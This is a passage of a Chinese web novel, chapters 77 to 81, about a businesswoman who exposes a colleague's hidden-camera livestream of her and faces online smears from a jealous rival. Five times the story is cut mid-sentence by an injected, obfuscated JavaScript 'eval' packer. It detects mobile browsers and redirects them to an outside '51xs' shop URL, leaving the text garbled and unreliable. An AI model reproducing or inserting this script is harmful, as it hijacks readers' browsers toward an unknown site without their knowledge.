许愿和盛景炎互动是笑话吗? 根本不是,跟盛景炎这样的人互动怎么会是笑话? 被当成笑话的是她!是她! 傅京礼身边的位置,一直都只有首席秘书才能坐的。 如果容浔在,多数时候容浔和沈略并不会同时参与会议,所以一直都是许愿和他们两人中的一人坐在傅京礼身侧,像是告诉参加会议的人,他们是傅京礼真正亲近的人。 可现在。 许愿分明已经被分到项目组了,凭什么还坐在这位置,这是她的位置 ! 许宁内心全部都是愤怒,那是对许愿的怒火。 许愿不知的内心又在发疯,她只是面容平静的翻看文件。 “开会。”傅京礼沉声开口。 盛景炎确实去了当地,且当地目前政策混乱,有点像是古时候分裂时割据一方的感觉。 政权都不能掌握在一人手中,还说什么合作? 怕是这笔资金真的流入当地,就会引起两方争夺。 莱蒂斯安的什么心? 盛景炎将自己的调查结果和盘托出,着重提到当地此刻的具体情况。 会议室内的众人一片哗然。 许宁脸色惨白。 “这不能说明什么,我们为什么不能提前跟一方联系,帮他拿到政权,对方一定会提出有利于我们傅氏的条款!” 这样幼稚可笑的话,竟然是一个成年人说出来的话。 “许宁,搞清楚你自己的身份,也搞清楚我们的定位。” “你只是一个秘书,傅氏也只是一家商业公司,这不是我们能查收参与的事。” 许愿语气冰冷,防止她说出更愚蠢的话。 许宁眼神闪躲,但为了自己还是执意开口。 “为什么我们不可以参与,赢了后说不定还能够掌握那个小国,这对我们来说只有利!” 许愿都险些被气笑了,她看着许宁开口提醒:“许宁,没事就多读书。” 第77章 盛景炎醉了 “你所说的小国,是由临近国家分裂出来的。你以为这个小国为什么频繁战乱,却没人敢插手,那是他们内部之间的事,就算要收服那个小国,也不是我们华国该做的。” “敢做这种事,你倒是想把傅氏架到火上烤。” 许宁脸都白了。 盛世的员工高层看许宁的眼神,明显是在看白痴一般,许宁宛若受辱,隐忍的握紧拳。 已经到了这个份儿上,许宁还有什么可反抗的权利。 这份合约必定是不能签的。 会议正式结束。 傅氏的高层面色沉重,显然是觉得丢人,盛世的高层带着嗤笑离开的。 等盛世高层全都离开后,傅氏的员工才受不住的开口。 “许宁提出的合作,哪里配放到台面上?” “她以前就是个艺术生,我也不是说艺术生不好,可你搞艺术就搞艺术,你搞什么金融?这两个圈子兼职就是一个天一个地,她又不是多聪明的人,掺和进来做什么?” “连那点历史都不懂,丢人!” “如果我是盛世的员工,我现在已经疯狂爆笑了!” 许宁咬着下唇躲在角落里,根本不敢跟众人一起离开。 方才只剩下几个人时傅京礼问她,是主动离职还是等着被辞退。 她当然不想离开,可是…… 她就算求傅京礼,也不想当着旁人的面。 特别是许愿。 她咬着唇,却看到前方的许愿,脚步猛然停顿,却又立刻恢复常态,装作若无其事地走了过去。 许愿眼神淡漠,根本不将她放在眼里。 许宁忍到最后,终于还是忍不住了。 “你是不是很得意,是不是觉得我活该!” 许愿眸色淡然,只是微微抬眸,眸色浅淡落在她身上:“许宁,这份合同是你应下的。” 没有人逼她,更没有设计她陷害她。 她落得这步田地,只因为她太愚蠢。 许宁还想多停留,却已经感觉到周围有高层过来,立刻灰溜溜的离开。 许愿看着她远去的身影,只觉嘲讽。 “许宁即将被赶出傅氏,你开心吗?” 盛景炎跟傅京礼交接过部分资料后,走到许愿身边,低笑着说。 许愿表情如初:“她不会离开傅氏。” “傅京礼不会让她这样落魄的离开,她仍然能够留在傅氏,只是不知道还能不能是傅京礼的‘首席’秘书,就要另说了。” 说到“首席”两个字,许愿唇角的笑意都冷了。 让许宁这样的人担任傅氏的首席秘书,真是对他和沈略的一种侮辱。 盛景炎明白了她的意思,轻啧一声。 正要说什么,远远瞥见傅京礼与沈略从会议室离开,故意一般将手放到许愿肩膀上,远看着视线交错仿佛两人距离很近。 许愿皱眉正欲推开他,却听到他在耳边开口。 “他在看着我们。” 他,只能是傅京礼。 许愿压制住了自己想抗拒的动作,甚至故意露出了笑容。 傅京礼默然看了几秒,方才移开目光。 从他们离婚选择许宁的那一刻,他们之间确实如许愿所说,已经没了其他关系。 她的事,他确实没有资格管。 …… 会议结束后,许愿被盛景炎带着一起去吃饭。 华庭的包厢内里,研究院的职员们围着一张巨大的圆桌推杯换盏,谈笑晏晏。 很快,熟识代码知识的许愿跟这些人打成了一片。 她参与上流圈层的宴会时,或是优雅温婉,或是凌厉冷艳,可面对这群跟她有着相同爱好的人,才算是真的放松自我。 许是太开心,她回到自己座位上有一搭没一搭的喝着果汁。 倒是盛景炎被这群人灌了不少酒,此刻坐在许愿身边,手里还握着酒杯,用薄唇有一下没一下地抿着红酒。 他喝得有些醉了,一双流光溢彩的桃花眼蒙了一层湿漉漉的水雾,看谁都仿佛含着一丝柔软的春情。 看着有些无害。 他托着腮,勾着薄唇无意识地笑着。 许愿只扫了一眼,便觉得这人此刻像是个男狐狸精。 此刻每一个与他目光相触的女研究员,都会在微微一愣后慌忙撇开头,默默压下脸红心跳的感觉。 平日里这人话很多,此刻却寡言少语的缩在角落里。 他这样看着,是真的醉了。 “盛景炎,你醉了。” 许愿问他。 盛景炎嗯了一声,他凑过去抬眼看许愿,忍不住笑出来。 醉了的他,少了那种侵略感压迫感。 “没醉,还认得你。” 他握住许愿的手捏了下。 他是真的没醉吗? 纤长的指尖在掌心摩挲,带来的微微热意和痒意,让她身体克制不住的发软。 盛景炎将她拖拽到自己的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618031|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧,紧紧地贴着她的身体。 许愿甚至能感受到他身上传来的烫意。 他的下颌贴在她肩上,轻轻蹭了下,发丝扫过她的脸颊。 灼烫的呼吸喷 洒在她耳际,唇贴在她耳侧几乎快要贴上去。 不应该。 她和盛景炎的关系,这样就太过了! 因为这样的亲密接触,她的脸颊生理性的泛红,声音不稳:“盛景炎,你真的还清醒吗?” 盛景炎的眼神中带着汹涌。 他凑得这样近,能嗅到许愿身上淡淡的冷香味,甚至还带着牛奶的甜味,颈侧的肌肤那样白嫩,诱惑着他吻上去咬上去。 可她问他,清醒吗? 他当然清醒。 此刻,他不过是在装醉。 平日清醒的时候他克制守礼,这种时候他只是想要放肆一点,离她再近一点…… 他迟迟没有回应,许愿推开赖在自己身上的男人,然后缓缓抽出自己的手。 还未继续逼问,却见有个往日里混不吝的研究员拎着一瓶高纯度白酒走过来,不怀好意地说道:“许愿,来来来,陪我们兄弟几个喝一杯。” 他就是看盛景炎喝醉了,胆子才如此大,敢打许愿的主意。 旁的研究员不由皱眉,显然是被他此番做法恶心到了。 许愿面色平静,目光淡然。 她抱着手臂,眼神冰冷开口。 “请问你是哪位?” 研究员脸黑了,他被许愿下了脸就想闹,许愿根本不给他这个机会。 这种喝醉酒就撒酒疯骚扰女性的人,指不定在研究院里招惹过多少女同事。 这种人,留着也是祸害。 “许愿,你别给脸不要脸!” 研究员气急败坏地怒吼。 已经喝醉的盛景炎却已经一把夺过研究员递来的白酒。 即使此刻醉了,他的身上还明显带着浓烈的压迫感:“怎么个喝法?你们一人一杯,许愿一杯一人?” 女同事们皱起了眉。 这不是摆明了欺负许愿嘛! 十几杯白酒下肚,许愿得多难受? 说不定还会酒精中毒! 研究员就是看着盛景炎现在喝醉了,所以才笑嘻嘻地说道:“这是迎接许愿加入我们的规矩啊,她在傅氏再拿得出手,可加入我们盛世,就要走这个流程。” 盛景炎眯眼而笑:“我上位以来,也没跟你们喝过,要不然我也补上?” 第78章 装醉 他喝多了酒,但是并未喝醉。 那一双本该朦胧的醉眼此刻却凌厉冰冷,漆黑眸底却闪烁着冰冷的锋芒。 这副笑里藏刀的模样,任谁见了心里都会打一个突。 喝酒上头的研究员咯噔一下清醒过来,连忙摆手:“不喝了,不喝了!盛总,是我说错话了!” 他狼狈地逃窜回自己的座位,期间再不敢多说话。 盛景炎放下那瓶白酒,转而看向许愿。 许愿仍然是那副淡然模样。 “盛景炎,你没有喝醉,装的?” 许愿险些被气笑。 想到放在这人在自己身上蹭着的模样,实在没忍住一脚踩在他脚上,用了点力气。 “祖宗,脚下留情。” 他“嘶”了一声,也知道自己来这么一出,许愿有点恼,干脆直言:“这点酒不可能醉,不然我这些年不是白混了?” 盛景炎刚才,果然全是演出来的。 “既然你是清醒的,那么请你将方才那位研究员的资料给我,后续的研究工作这个人都不能再继续参加。找到合适的时机,让他离开研究所。” 盛景炎挑了下眉。 “你认真的?” 许愿淡淡的嗯了一声。 “这个人心思污浊阴暗,不适合继续留在研究所,我甚至怀疑他私下开过其他小软件。” 许愿所说的小软件,就是那种猥琐男性偷拍直播女性的低劣软件。 盛景炎听出来了,眼神瞬间变得凌厉。 想到对方此前有过其他前科,盛景炎握住许愿的手腕:“跟我来。” 许愿反应不及,已然被他拉拽出包厢。 包厢的门才刚被关上,那位研究员就“呸”了声。 “什么玩意儿,一个女人,也就空有张脸,那些写出来的数据还不知道是不是花钱买来的,在这里得意什么?得意到最后,还不只是个讨好我们男人的工具。” 他嗤笑连连。 坐在他身边的研究员推了下眼镜,厌恶的坐远了几分,不愿与他为伍。 盛景炎带着许愿来到隔壁包厢。 这间包厢是他自己的特定包厢,平日没事会在这里办公,里面有办公的电脑和备用的电脑。 说是包厢,更像是个豪华的总统套房,且还带上了工作隔间。 “查查看,隔壁有没有被安装什么软件。” 虽然隔壁安装了屏蔽器,但是那群人都是it出身,不一定能够防得住。 许愿内心一冷,长指快速敲击键盘。 几分钟后,果然查到了没有被屏蔽掉的小软件监控。 且这样的小软件有三四个,全部都是对着她所在的位置,甚至桌下也有,像是故意想拍到她的私密部位。 若非她今日穿了长裤,怕是已经被那人得逞了。 许愿眼神越来越冷,她继续敲击键盘,果然发现一条含带病毒的直播链接。 那个混蛋东西不仅安装了监控全方位拍摄她,甚至还在黄色软件网站开了直播。 甚至标题就是【a市豪门大佬的玩物】。 她被盛景炎带走后,评论区已经是一片污浊。 {刚才那个就是a市的大佬吗?两人这么迫不及待,怎么是到时间了?} {长成这样,就是活该被人玩啊,大佬就是大佬,眼光就是高。} {如果我有钱,我也想找个这样的玩。} {这女人太看得起她自己了,让她喝杯酒都不肯,不过就是男人的玩具!} 这已经是能看的了。 更多的评论,全都是带着下三滥的词汇,汇聚着无数黄色的令人作呕的言论。 盛景炎的眼神越来越冷,甚至身上都散发出明显的低气压。 “开除他,然后报警。” 许愿的声音没有任何温度。 “我自认我在a市已经站得算是足够高,哪怕是真正大家族的继承人,对我也是恭敬有礼,这一切都是我靠着自身实力拼来的。” “哪怕这样,我都能沦为这个人直播意淫的对象,你想过研究所的其他女性研究员遭遇过什么事吗?” “或者说,这个畜生有没有做过侵犯女性的事。” 许愿字字句句,敲到了盛景炎心口处。 “我会查清楚,让人给你个交代。” “你先在这里休息,剩下的交给我去处理。” 盛景炎起身要离开,打算去解决研究员王威。 许愿却叫住他。 “我已经跟踪监控了那些观看直播甚至的猥琐男性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618032|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的记录,我跟你一起去,如果只放你一个人,怕是那些恶心人的东西又以为我只是找你这个大人物出面了。” 许愿嘲讽:“倒是真把我当成废物了。” 她眼神清冷,只是那冷中带着明显的嘲意。 那样冰冷的眼神,不带一丝波澜,却让盛景炎心间微怔。 盛景炎无意中望进这双眼,便再也无法把自己的视线抽离。 “是我想错了,你是许愿,你从不需要被任何人护在羽翼之下,你本来就足够强大。” 深邃眼眸里的冷意都化作柔意,轻轻抚过许愿的手背。 “我们走。” 他们回到包厢,王威正在与旁人高谈阔论,却没人迎合。 许愿推开门进入其中,盛景炎跟在她身后,像是紧随其后的守护者,而两人身后还有数十名黑衣保镖进入包厢。 众人目光纷纷探过去,只有王威心里咯噔一下。 不等他做什么动作关闭软件,已经被保镖们摁到地上,完全没有办法挣脱。 “盛总,盛总您这是做什么?!是不是许愿那个女人在您耳边吹了什么风!我只是想让她喝杯酒,我没有别的坏心思啊!” 王威一股脑儿的把错处全都推到许愿的身上。 直到许愿动作缓慢的摘掉一个监视器,他才终于噤声,也明白自己为什么会被扣住。 “你知道你这是在犯罪吗?” 王威支吾:“盛总,我是你的老员工了,你不能这么对我……” 他还想盛景炎为他开脱。 盛景炎跟在许愿身后站定,声音冷淡:“我以为我站在她身后,你就该明白我的立场。” 王威挫败的大喊,却已经被保镖架走。 许愿只是眼神冰冷的看着,然后目光与那监控对视。 “我好看吗?” 她声音是带着笑的,像是在跟观看直播的那些男人对话。 那些人看到王威被抓走还在心慌,可对上她这张脸,又忍不住的疯狂意淫心动。 “忘了告诉各位,我已经将你们的坐标地址全都上报了。” “再过不久,就会有警员上门。” 许愿微笑:“不用谢我,这是你们应得的。” 她明明是在笑,却让人头皮发麻。 第79章 付出代价 许愿面对监控镜头时的笑冷意太过明显。 明明是笑着的,却就是能够透过监控,让人感受到她期内彻骨的嘲意。 所有在此刻观看直播的人都慌了,手忙脚乱的想要退出这个直播软件,却根本无法退出。 好像手机键盘已经完全失灵,又像是被人莫名操控着手机,让他们无法退出。 这群只敢在深夜冒出头躲在阴暗角落滋生自己阴暗内心的恶心男人,终于都慌了。 有的人直接摔裂手机,有的直接将手机丢到水里,看到手机黑屏,像是躲过一劫一样。 可事实,却不为人所愿。 不久后,这些人的家门全都被敲响,无一例外。 就连那些故意弄坏手机的人,也全都被带走了。 许愿早已将这些人的坐标都全都划出来,警察还能抓不住人吗? 白白的业绩送上门谁不要? 许愿将监控软件拆卸开,盯着里面多出来的几个零件露出嗤笑。 下三滥的路子,也就只有这种恶心人的东西才能做出来。 这些研究员都没想到会发生这样的事,也就只有女研究员反应过来王威做了什么,脸色都有些发白,她们显然都是被王威那种垃圾骚扰过的。 “他竟然又做这种事!” “又”字,已经很能说明问题。 许愿偏头看向盛景炎,盛景炎只轻微点了下头。 “我会让他付出代价。” 许愿只是应了声,并未说更多。 今晚好好的聚会因为王威,算是以一种惊险刺激的方式结束。 研究员们都先离开,最后只剩下盛景炎和许愿。 “抱歉,我也不知道会发生这种事。” 盛景炎开口道歉。 许愿摇了下头。 “这不是你的错,你也没办法控制这些不是吗?” 许愿清楚盛景炎此人与那种垃圾并不是一类人,若是他早知道,一定会阻止的。 盛景炎忍不住笑了:“那我谢谢你为我开脱了。” 他说这话时就站在她身侧,弯下腰,眉眼含笑,眼底已经没了方才的冷意,只余淡淡的暖意。 不远处,许宁与几个朋友坐在一桌,不敢置信地看着刚才那一幕。 “拍下来了吗?” 其中一个朋友压低嗓音做贼一般问。 “拍下来了!艹!太劲爆了!从这个角度看,他们好像真的在接吻!” “要不是场合不对,我怀疑他们早就搞上了!许愿是真厉害。许宁,你说得没错,许愿估计就是靠着男人,才能谈成那么多合作的,这个盛景炎之前不就摆平了盛家?我都怀疑盛景炎是不是为了她,才得到盛家了!” “如果我是男人,我也能为了她做任何事!” 说这话的人虽然是个女人,但也很明白许愿对男性的影响力。 许宁内心实在是嫉妒,嫉妒得都快要发疯了。 许宁脸色铁青地看着被暧昧氛围包裹的两人,拳头忽而握紧又忽而松开,最后竟莫名其妙地笑了笑。 “照片和视频发我一份。”片刻后她冷冷说道。 “你要干什么?你别惹盛景炎啊!他可不是好招惹的人,别看他吊儿郎当,但手段狠辣着呢!”许宁的朋友紧张地告诫。 “放心吧,我有分寸。”许宁极为平静地说道。 离开前,盛景炎似有所感的朝着这个方向看过来,许宁只觉得汗毛竖起,整个人慌得手脚都不知道放到何处。 “宁宁,盛景炎是不是在看我们!” 许宁的好友都觉得浑身鸡皮疙瘩起来了。 许宁咬唇:“怕什么?” “分明是他们孤男寡女不知廉耻伤风败俗,我们有什么好怕的?” 许宁握紧手机,手机中赫然是盛景炎和许愿亲密接触的视频和照片。 今天她出丑,她就不会让许愿好过。 她和盛景炎关系这么好,谁知道那些调查出来的资料,到底是真的还是假的? 还是说,盛景炎跟许愿早就说好了,就是为了设计她让她离开傅氏。 她脸色发白,越想心里越是生气,这次她一定要精准的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618033|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报复回去。 盛景炎今晚喝了酒,没办法自己开车,他也不想许愿自己回家,打算送她。 许愿没有拒绝。 等许愿坐到后座上,而他绕到另一边,准备打开车门时。 许宁不知道是哪里来的胆子,冲上来叫住了他:“盛总!” 靠在车窗上假寐的许愿睁开眼,看向对面。 许宁大步走到车边,压抑着愤怒问道:“盛总,你叫停这次的合作,是为了帮许愿对付我吗?” 许愿短促地笑了笑,像是觉得这话有趣。 直到此刻,许宁还是不明白她到底输在什么地方,甚至觉得盛景炎是为了跟她的私情,才刻意针对她。 盛景炎回过头,看见许愿清冷明艳的脸庞,便也温柔地笑了。 然而再度看向许宁时,他已敛去所有表情,语气冷淡地开口:“不是。项目存在很大问题——” 许宁极不礼貌地打断了他的话:“你带着问题去找问题,当然会发现很 多问题。你不用不承认,许愿影响了你的判断。盛总,这一次是你公私不分!我只能告诉你,盛世和傅氏都会因为你的失误,承担巨大的损失!” 盛景炎似笑非笑地看着许宁,像是看垃圾,直接忽视了许宁的狠话。 许宁深吸了一口气,冷笑道:“盛总,你很快就会知道你做出了失误的决策,等这件事情爆出来后,你的盛世一定会股票暴跌,你才得到的盛家也会毁在你手中。许愿,你也得意不了多久,你的新靠山很快就要倒台了!” 许愿解开安全带,顺着座椅滑到这边的车窗。 她眼神清冷,完全不带多少感情,只是微微扬起唇角,带着明显却又克制的嘲意。 “许宁,我的靠山从来都只有我自己。” 许愿说这些,许宁全然不信,就这么死死盯着她。 跟这样愚蠢的人多说无益,许愿瞥了盛景炎一眼:“走了,不必在这里浪费时间。” 盛景炎自然没再理会许宁,上车后让司机开车。 车子绝尘而去,俨然把许宁的警告当成了玩笑。 第80章 威逼利诱 许宁目送汽车走远,垂于身侧的手慢慢握成拳头。 许宁一路飙车回了许家,把自己关进卧室。 她编撰了一篇博文,准备发送到网络上。 内容赫然就是说许愿和盛景炎是如何勾搭在一起,而许愿帮助盛景炎得到盛家,二人狼狈为奸,甚至盛景炎为了替许愿报复她,毁掉了这次合作。 发了博文后,许宁内心才终于舒缓的松了口气。 等着看吧,明天许愿和盛景炎全都会完蛋! 与此同时,一路吹着晚风的许愿已经被盛景炎送到公寓外。 直到看着许愿进入公寓,盛景炎才抚摸着自己的胸口,脸上缓缓露出些许笑意。 他无法否认,许愿在包厢内快速敲击键盘甚至面对那些监控也毫不慌乱害怕的模样,他看了心脏简直是在剧烈的跳动。 那一刻的心动,似乎是藏都藏不住的。 他无法控制的对那样的许愿动心。 不掺杂任何利益的动心了。 太可笑了。 盛景炎回到副驾上,微微阖上眼眸。 在离开之际透过车窗,他仰头看着二楼的某个房间亮起昏黄温暖的灯火,然后才笑着摇摇头,慢慢离去。 盛景炎回到自己家时已经是深夜。 打开灯,屋内是一片灰色。 灰色的墙壁,灰色的沙发,灰色的地板,灰色的家具…… 只有立柱台灯,电脑音箱等摆设间或点缀着一些黑与金。 简单到极致的装修却半点也不显得简陋,反倒处处透着奢华,只是缺了活气,更像一座空屋。 他随手扯掉领带丢到沙发上,站在窗边,望着外面浓浓的沉寂的夜色,脑中闪过的却是许愿含笑的眼。 他是真的快要栽了啊。 “呵……” 他止不住地低笑一声,睁开风流多情的眼,轻轻一叹抹了把脸。 不过这种感觉,其实也不差。 …… a市警局总部看守所。 王威双手戴着手铐被束缚动作,被人带到隐秘的房间内。 房间空洞,只有办公桌和两把椅子。 王威才进去,就看到房间内坐着一位儒雅的中年男人,他见到王威,面上仍带着微笑。 “王先生你好。” 王威吞咽着口水,能够感受到这人身上散发而来的恐怖的气场,虽然这人是笑着的,但他就是觉得这个人很可怕。 “我是傅长海,我是特意来见你的。” 傅长海。 傅京礼的大伯,饶是并不清楚金融商业圈的王威,都听过这人的姓名。 “你找我,到底是为了什么事?” 王威浑身都在发抖。 “我真的没有做更多的事了!你是不是为了许愿来的!我真的只是看她漂亮,想拍拍视频,没有别的恶意!我知道她的身份,我不敢真的做什么的!” 他慌到以为傅长海是为许愿讨回公道的。 “放轻松,我不是为许愿来的。” 听到这话,王威才算是真的放轻松了几分,但还是有些提心吊胆的。 “你来找我,到底是为了什么?” 傅长海开口:“我听说你以前是跟在盛景炎身边的,你们研究所在研究开发全息相关的东西。” “把你知道的告诉我,我会给你一个不错的价格,你觉得如何?” 全息相关的研究…… 王威整个人一顿,他完全没想过傅长海是为了这件事来找他。 把这些信息告诉他? 盛景炎会杀了他的! “不不不……你不知道盛景炎的手段!会死人的!” 他的身体瑟瑟发抖,傅长海却全当作没看到这一幕,眼神仍然冰冷,只是片刻后微微敛了下眉,声音中都透着几许带着压迫的凉意。 “不说,也会死。” “你怕盛景炎,就不怕我吗?” 傅长海眼神仍然冰冷,王威甚至能感受到傅长海压下去的明显的杀意。 “傅先生……你别逼我,我真的……” 王威两条手臂抱住自己的头,不敢对上他的眼神。 傅长海的一名黑衣保镖抓住王威的头,逼着他抬头与傅长海对视。 他身体还在不住的发抖,傅长海眼神冰冷的看着面前害怕慌乱的男人,他眉宇间再度显露出温柔笑意。 “王先生不必害怕,我真的没有恶意,也没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618034|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逼你。” “我知道你怕盛景炎对你做什么,我向你保证,你将你知道的全息相关的资料全都告诉我,我会给你开出非常优渥的条件,还会亲自派人送你出国,盛景炎根本找不到你。” “等到那时,你拿着我给的钱在国外潇洒自在,不是更好吗?” 傅长海声音带着笑,像是在蛊惑他一般。 是啊,盛景炎在国内能控制他,但出国后盛景炎根本找不到他。 就算是要报复,也没任何办法! 到那时,他拿着从傅长海这里得到的好处在国外潇洒自在,不好吗? “你要给我开出什么样的条件。” 他再度得意了,直到傅长海承诺不会真的伤害他,他又变 成那副有些嚣张的模样。 傅长海眼神微暗。 他在纸上写了个价位,王威吃惊的吞了下口水,却也清楚全息的价值。 这价位虽然很可以,但是…… 他一上来就给这么多,说明这东西非常值钱,不能就用这个价位贱卖了。 “傅先生,你也知道全息被研究出来后会赚多少钱,那简直就是暴利,现今的多数电子智能产品都将会被取代,而我给你的资料,研究出来后申请专利,单是后期的专利费就够傅先生您一辈子潇洒了。” “您给我这样的价位买通我,是不是太少了点?” 傅长海看着面前这个跟自己讨价还价的男人。 片刻后,他笑了一声。 “的确是太少了。” 他在原基础上翻了两倍之多。 王威眼睛瞪得格外大,这次终于是满意了。 “我现在就让人送你离开国内,等到了国外会有人给你安排住处,绝对不会让盛景炎的人找到你。” 傅长海给出他承诺。 王威眼睛发亮的道谢。 傅长海还是那副温文尔雅的模样,直到王威被人带离后,那温柔的笑意才从脸上撤下。 “等他拿出我们想要的资料后,就地解决。” 傅长海声音淡淡的:“那笔钱,就是你的奖金。” 跟在他身边的助理眼神闪烁片刻。 “好的傅总,我一定会为您办妥。” 第81章 绯闻 全息。 这是傅长海一直都在研究的方向。 其实早在许愿的母亲还在时,苏青莲就在研究这些。 那时不知道苏青莲手中为什么会有那样一份数据资料,傅长海拿到那份资料后,却一直没能研究通其中的详细数据。 他一直都在盯着所有研究全息的研究所,以及……盯着许愿。 既然苏青莲能早那么多年拿出超前的数据,那许愿是不是也有这个能力? 事实证明,果然如此。 在得知许愿和盛景炎有关系后,傅长海马不停蹄回国。 因为他清楚的知道盛景炎一直在研究全息,许愿跟盛景炎有交集,那不就是代表许愿也会接触全息? 现在从王威这里得到准确的回答,傅长海脸上都是得意。 他是一定要先一步那群人研究出新数据,然后申请专利…… 正想着,傅长海的手机响起来。 是傅嘉誉打来微信视频电话。 傅长海一接电话,脸上就全部都是温柔之意,声音都带着笑。 “嘉誉,怎么这个时间打来了?这么晚了,再不休息会变丑的。” “什么啊。” 傅嘉誉撇了下嘴:“爸,你要不要看看我在什么地方啊!” “不是说今晚的飞机吗,我人都在飞机场了,就是没见到你!” 傅嘉誉哼了一声,一副生气模样。 傅长海笑道:“我换了班飞机,两小时前就已经回来了,我这就让人去接你回家。” 父女二人关系极好,傅嘉誉听到这话,才满意了。 傅长海挂断电话,他身旁的助理陈宇开口道:“小姐还是这么活泼。” “她一直都这样。” 傅长海长叹一声:“我们嘉誉不仅像我,还像极了她母亲,聪明漂亮,等到以后……她绝对也能接手傅氏,成为傅氏的继承人。” 陈宇微笑。 “小姐聪明,一定能像先生说的继承傅家。” 傅长海眼神暗了几分。 他的女儿漂亮优秀,他不认为他的女儿就不如傅京礼。 等到他为嘉誉摆平一切,他会亲手将傅家交给嘉誉。 傅嘉誉,这个名字早就已经包含了傅长海对她未来的期许。 不论她性别如何,她都会是他永远的骄傲! …… 第二天,许宁昨晚发布的博文,已经在微博以及各种平台被疯狂转发。 博文一经po出,便激起了千层浪。 很快就有知情人士上传了盛景炎和许愿亲密的照片,照片上的两人面对面相视而笑,盛景炎的眼里全都是倾慕,而这照片可以此佐证许宁的话。 国际大公司的内部倾轧,以及豪门争产的狗血剧,让这篇博文获得了广泛的关注和讨论。 只是一晚上过去,它就已经爬上了热搜榜,被更多人看见。 【盛景炎一直装废物装浪荡子,一举拿下盛世后我还当他真的在藏拙,没想到竟然会做出这种决定,他这是真蠢吧!最让我意外的是!为什么连傅京礼也支持这个荒唐的决定?我感觉傅氏很快就要倒闭了!】一名网友给出了自己的预言。 【这种级别的美色,会头脑发晕也是正常的吧?】一名网友截图了许愿妖冶明艳的侧脸。 那么模糊的像素,却拍出了如此惊人的美貌。 【是我,我也沦陷了。公司不要了,理智不要了,命也不要了,给她!】一名网友斯哈斯哈流着口水。 美色,商战,争夺家产、不择手段、复仇…… 种种大热元素,让这篇博文掀起了讨论的狂潮。 受它影响,傅氏的股价应声大跌。 一直在看好戏的莱蒂斯远在欧洲,竟也回应了这篇博文,再三盛赞许宁的专业和精明强干。 傅氏的敌对公司立马在网上给许宁递出了橄榄枝,意欲将他招入麾下,并联系莱蒂斯,准备截胡这个项目。 一夜之间,整个商界都被许宁搅得天翻地覆。 等到许愿拿起筷子吃上第一口早餐时,许宁已经再度po出一篇博文,宣称自己不会背叛傅京礼,只会守着傅氏。 全网都是盛赞她的言论。 许宁的才华和能力,被吹捧得神乎其神。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618035|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到这里,许愿一个没忍住,竟低笑了一声。 真是太可笑了,许宁哪里有什么才华和能力? 许宁现在被捧得越高,将来就会跌得越惨! 许愿在笑时,温栩栩着急忙慌的赶过来。 看到许愿这副什么都不在意的模样,她实在是生气。 “你笑什么?你知不知道这样一来,你的名声全毁了?” 温栩栩实在是愤怒,觉得她这是要毁掉她自己。 温栩栩让许愿看着网络上那些污言垢语,她急得像是锅上的蚂蚁团团转。 许愿只是眉眼含笑的看过手机上的内容,这才将手机还给温栩栩,徐徐说道:“许宁发这篇博文一是为了毁掉我;二是为了重启项目从中获利。” 许愿开口:“我相信自己的判断,更相信盛景炎的判断,这个项目有问题。闹到最后,许宁什么都得不到,只会把自己 逼入绝境。在傅氏的时候,我从来没陷害过他,一切龃龉都是他的想象。” 她看看时间,伸了个懒腰靠在沙发上,这才懒洋洋的开口:“不必替我担心,以后出事的人只会是许宁,而非许愿。” 